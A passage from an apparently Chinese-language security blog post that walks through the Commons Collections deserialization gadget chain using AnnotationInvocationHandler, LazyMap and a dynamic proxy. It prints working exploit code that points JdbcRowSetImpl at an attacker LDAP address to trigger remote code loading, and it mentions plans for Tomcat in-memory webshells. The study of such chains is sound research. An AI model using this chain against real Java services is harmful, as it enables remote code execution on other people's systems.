AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator(); // 关键在于这个this.memberValues.entrySet()
// 后面的代码省略
}
// 构造函数
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2; // 注意这里this.memberValues就是传进去的map实例
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
可以看到readObject方法中调用了this.memberValues.entrySet()，想象一下，如果这个this.memberValues是被动态代理创建的，那是不是就会进入代理类的invoke函数，而代理类又是AnnotationInvocationHandler，那就会调用上面的invoke方法，进而调用代理类内部map的get方法(也就是this.memberValues.get(var4)这一行)，而代理类的memberValues=lazyMap的话，直接就形成利用链了。来看看利用代码：
String dataSource = "ldap://192.168.x.x:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
Transformer transformer[] = {
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
HashMap<String, String> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
// 获取构造函数
Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
// 创建代理类
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap);
// 动态代理，创建lazyMap实例
Map map1 = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), invocationHandler);
// 创建被反序列化的AnnotationInvocationHandler类
Object aa = constructor.newInstance(Override.class, map1);
// 本地写文件
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
out.writeObject(aa);
ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
in.readObject();
这里可能也会有点绕，所以将真正反序列化执行AnnotationInvocationHandler.readObject方法的实例命名为aa，当aa.readObject执行后，会调用aa.memberValues.entrySet()，也就是map1.entrySet()，由于map1是被代理类invocationHandler动态创建的，所以执行map1.entrySet的时候，会进入invocationHandler.invoke()，而invoke方法中存在this.memberValues.get(var4)，这里就是代理类invocationHandler.memberValues.get()，代理类invocationHandler的memberValues就是一个lazyMap，所以成功到达ChainedTransformer！调用链如下
AnnotationInvocationHandler.readObject
memberValues.entrySet() 由于memberValues是被动态代理的，所以调用代理类的invoke方法，而代理类也是一个AnnotationInvocationHandler类
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.memberValues.get(xx) <=> lazyMap.get 代理类的memberValues是一个lazyMap
ChainedTransformer.transform(xx)
3 总结
因为面试和项目这个总结性的文章写的思路有一些断。学习过程中看过CC链中涉及到的源码后，不得不佩服ysoserial原作者的代码功底，tql！！ysoserial还有一些其它链，之后再研究研究。下一篇想写一个在shiro回显研究上看到的tomca 6 7 8 9全版本获取request的方法，试试能不能拿来做tomcat全版本的内存马
